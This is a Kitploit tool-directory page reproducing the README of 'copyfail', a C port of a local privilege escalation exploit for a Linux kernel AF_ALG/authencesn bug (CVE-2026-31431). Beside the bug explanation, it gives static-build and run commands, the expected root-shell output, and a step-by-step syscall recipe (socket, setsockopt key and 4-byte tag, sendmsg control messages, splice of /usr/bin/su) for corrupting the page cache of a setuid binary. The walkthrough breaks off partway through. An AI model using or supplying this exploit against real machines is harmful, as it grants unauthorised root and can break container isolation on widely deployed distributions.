Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
copyfail — C-based local privilege escalation exploit for CVE-2026-31431, a Linux kernel vulnerability in the AF_ALG crypto interface, providing root access via page cache manipulation. | Kitploit
Tools/GitHubGitHub/polyakovavv/copyfail
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubpolyakovavv/copyfail

copyfail

C-based local privilege escalation exploit for CVE-2026-31431, a Linux kernel vulnerability in the AF_ALG crypto interface, providing root access via page cache manipulation.

View Repository
94 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Overview

Copy Fail (CVE-2026-31431) is a logical vulnerability in the Linux kernel that allows a local unprivileged user to escalate privileges to superuser (root). The vulnerability belongs to the Local Privilege Escalation (LPE) class, does not require complex exploitation conditions (such as race conditions or memory address guessing), and works "out of the box" on most Linux distributions released after 2017.

This repository contains a C port of the original Python exploit with detailed comments, suitable for static compilation and use in minimal environments.


Table of Contents

  • Vulnerability
    • Vulnerability essence
    • Exploitation mechanism
    • Affected systems
  • Exploit
    • C port features
    • Compilation
    • Usage
  • How it works
    • Step-by-step breakdown
    • Why the page cache changes
  • Mitigation

Vulnerability

Vulnerability essence

The vulnerability arises from a logical error in the Linux kernel cryptographic subsystem related to the handling of AF_ALG (the kernel cryptographic API interface) and the page cache mechanism.

The bug was introduced in 2017 when an optimization was added that removed extra buffering by performing AEAD (Authenticated Encryption with Associated Data) block cipher operations in-place. Due to incorrect buffer boundary handling in the authencesn algorithm (part of the AEAD cryptographic template), a 4-byte out-of-bounds write occurs beyond the allocated buffer, leading to corruption of page cache management structures.

As a result, the kernel can write data back to the page cache of a file, even if it was opened read-only (O_RDONLY).

Exploitation mechanism

  1. An unprivileged user opens an AF_ALG socket and initializes the AEAD algorithm authencesn(hmac(sha256),cbc(aes)).
  2. Anomalous parameters are set via setsockopt():
    • A specially formatted key (manipulating kernel buffers).
    • Authentication tag size = 4 bytes (instead of the normal 16–32 bytes for HMAC-SHA256).
  3. A decryption operation is initiated via sendmsg() with control messages.
  4. The splice() system call moves data from the target file (opened O_RDONLY) into the crypto socket.
  5. Due to the bug in authencesn, the file's page cache is corrupted, and "decrypted" data is written back into the cache.
  6. The kernel executes the modified setuid file from the page cache, resulting in code execution with root privileges.

Affected systems

ComponentDescription
Linux kernelAll versions from 2017 until the inclusion of the fixing patch
Subsystemcrypto (module algif_aead)
InterfaceAF_ALG — user-space access to the kernel crypto API
System callsplice() in combination with AF_ALG sockets

Vulnerable distributions (when using kernels with the algif_aead module loaded):

  • Ubuntu (all versions)
  • Debian (all versions)
  • RHEL / CentOS / Rocky / Alma Linux
  • SUSE / openSUSE
  • Fedora
  • Arch Linux
  • Other distributions based on vulnerable kernels

Special significance: in containerized environments (Docker, LXC, Kubernetes), processes inside a container have access to the AF_ALG subsystem by default if the algif_aead module is loaded in the host kernel. This creates a risk of container isolation breach and gaining control over the host machine.

Vulnerability check:

# Check whether the algif_aead module is loaded
lsmod | grep algif

# Check for AF_ALG presence in the kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

Exploit

C port features

The original exploit was written in Python (≈732 bytes). This C port has the following features:

  • Static compilation — works in minimal environments without Python.
  • Full self-containment — requires only the standard C library and libz.
  • Detailed comments in Russian — every exploitation step is documented.
  • Identical behavior — system calls exactly match the Python version (verified via strace).
  • Non-blocking recv() — prevents hanging, replicating the try/except behavior from Python.

Key differences from the Python version identified during porting:

ParameterPythonC (this port)
sendmsg() flagMSG_MOREMSG_MORE
splice() flag00
Pipe offsetNULLNULL
Key size40 bytes40 bytes
cmsg_len20/36/2020/36/20 (hardcoded)
Pipe creationpipe2(fds, O_CLOEXEC)pipe2(fds, O_CLOEXEC)
recv()Blocking with try/exceptNon-blocking (O_NONBLOCK)

Compilation

# Requires libz (zlib1g-dev or zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2

Usage

./copyfail

Upon successful exploitation, a patched version of /usr/bin/su will be launched, providing root access without a password prompt.

Expected output:

================================================================
  CVE-2026-31431 'Copy Fail' Exploit
================================================================

[+] /usr/bin/su opened
[+] 40 chunks
[*] 40/40 ok

# id
uid=0(root) gid=0(root) groups=0(root)

How it works

Step-by-step breakdown

Below is a detailed breakdown of each exploit step with the corresponding system calls:

Step 1: Creating the AF_ALG socket

socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead", 
     salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);

A socket is created for accessing the kernel cryptographic API. The authencesn algorithm (Authenticated Encryption with Sequence Numbers) is a composite AEAD algorithm using AES-CBC for encryption and HMAC-SHA256 for authentication.

Step 2: Setting vulnerable parameters

setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
  • Key: 40 bytes of a specially formatted key that manipulates internal kernel buffers.
  • Authentication tag size: 4 bytes. The normal value for HMAC-SHA256 is 16–32 bytes. The anomalously small value leads to a buffer overflow in the kernel.

Step 3: Initializing the decryption operation

accept(sock, NULL, NULL);  // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data, 
        cmsg=[(SOL_ALG, 3, 4 zeros),        // ALG_SET_OP = DECRYPT
              (SOL_ALG, 2, 0x10+19 zeros),  // ALG_SET_IV
              (SOL_ALG, 4, 0x08+3 zeros)]}, // ALG_SET_AEAD_ASSOCLEN
        MSG_MORE);

A connection is created for the operation. Parameters are set via sendmsg() with control messages (CMSG):

  • Operation: decryption (ALG_OP_DECRYPT = 0).
  • IV: 20 bytes (instead of the normal 16 for AES).
  • Associated data: 8 bytes (without actually transferring data).

All these anomalies create inconsistencies in kernel memory management.

Step 4: Moving data via splice()

pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);

splice() is a system call for moving data between file descriptors without copying through userspace. Data is moved at the kernel level via the pipe mechanism.

  1. splice(target_fd -> pipe): data from the target file (/usr/bin/su) enters the pipe.
  2. splice(pipe -> conn_sock): data from the pipe enters the crypto socket as "ciphertext".

Key point: in Python (and in this port), the offset for the pipe is passed as NULL, allowing the kernel to manage the position automatically.

Step 5: Finalization and error ignoring

fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
Download Tool